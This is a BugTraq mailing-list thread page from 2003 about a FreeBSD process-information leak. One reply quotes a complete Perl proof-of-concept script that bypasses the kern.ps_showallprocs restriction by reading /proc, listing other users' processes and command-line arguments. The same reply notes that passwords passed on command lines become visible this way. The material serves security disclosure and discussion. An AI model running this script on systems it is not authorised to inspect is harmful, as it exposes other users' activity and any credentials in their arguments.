BugTraq
ps information leak in FreeBSD Jan 05 2003 08:46PM
Cache (cache sowatech com pl) (2 replies)
Re: ps information leak in FreeBSD Jan 07 2003 09:18AM
Jez Hancock (jez hancock munk nu) (2 replies)
On Sun, Jan 05, 2003 at 08:46:50PM +0000, Cache wrote:
> This is a little information leak. This bug(?) is not dangerous, but
> normal user can see all process on the box using ex. /bin/ps;
This topic was addressed on freebsd-security list a while back, where
someone also noted that all user process information can be obtained
by regular users even with the sysctl flag 'kern.ps_showallprocs' set simply
by looking at the contents of /proc. The following script was also
posted by someone to demonstrate this:

#!/usr/bin/perl
#
# hhp-sap_evade.pl ([s]how[a]ll[p]rocs) 02/03/2002
# author: JohnnyB
#
# a very basic tool that breaches the FreeBSD sysctl kern.ps_showallprocs=0
# option; an option that hides other users process information.
# (why would they implement such a broken and easily evaded option?)
# [and no this didnt take any skill. its basically an output format]
#
# Tested on FreeBSD 4.5-RC.

print "[USER] [GROUP] [PID] [FILE/ARGS]\n";
opendir(DIR,"/proc");
@procs=readdir(DIR);
closedir(DIR);
foreach ${proc} (@procs){
if(${proc}=~/[0-9]/o){
unshift(@pids, ${proc});
}
}
foreach $pid (@pids){
open(FD, "ls -al /proc/$pid/file|");
while(<FD>){
chomp;
${l}=$_;
${l}=~s/\s{1,}/ /g;
if(${l}=~/.*? 1 (\S+) (\S+) .*?\/proc\/${pid}\/file -> (\S+)/){
&ppid(${1},${2},${pid},${3});
}
}
close(FD);
}
exit(0);

sub ppid(){
(${a},${b},${c},${d})=@_;
undef(${str});
undef(${line});
if(-e "/proc/$c/cmdline"){
open(heh,"cat /proc/$c/cmdline|");
@hah=<heh>;
@chars=split(//,@hah[0]);
foreach ${chr} (@chars){
if(${chr}=~/[^a-zA-Z0-9\-_=\.\/\@\(\):\$#!&\*\+\|\"\'\;\[\]<>\?~`\^]/o){

${str}.=" ";
}else{
${str}.=${chr};
}
}
${line}.=${a};
while(length(${line})<11){${line}.=" ";} #alignment...
${line}.=" ".${b};
while(length(${line})<23){${line}.=" ";}
${line}.=" ".${c};
while(length(${line})<31){${line}.=" ";}
chop(${str});
if(${d}eq"unknown"){
${str}=~s/\s{1,}//g;
${line}.=" ("."${str}".")";
}else{
${line}.=" "."${str}";
}
@line=split(//,${line});
if(length(${line})>80){
${cntr}=0;
foreach ${char} (@line){
if((${cntr}==80)||(${cntr}==128)||(${cntr}==176)||(${cntr}==234)){
print "\n"." "x32; #^Anything >, deal with the rollover.
}
print "${char}";
${cntr}++;
}
print "\n";
}
else{
print "${line}\n";
}
return(0);
}
}

I believe someone (last poster in this thread?) also posted a patch on the same
list, freebsd-security.

It's annoying in that I see a lot of users running mysql with the -u and -p options:

mysql -u user -p mypassword

on the commandline, thinking that this info will not show up in ps listings when ps
is run by other users. Ho hum...

Regards,

Jez Hancock

[ reply ]
Re: ps information leak in FreeBSD Jan 08 2003 04:39PM
Sean Kelly (smkelly zombie org)
Re: ps information leak in FreeBSD Jan 07 2003 05:48PM
Crist J. Clark (crist clark attbi com) (1 replies)
Re: ps information leak in FreeBSD Jan 09 2003 03:48AM
Damien Miller (djm mindrot org) (1 replies)
Re: ps information leak in FreeBSD Jan 09 2003 09:23PM
David M. Wilson (dw botanicus net)
Re: ps information leak in FreeBSD Jan 06 2003 09:19PM
Sean Kelly (smkelly zombie org)


 

Privacy Statement
Copyright 2010, SecurityFocus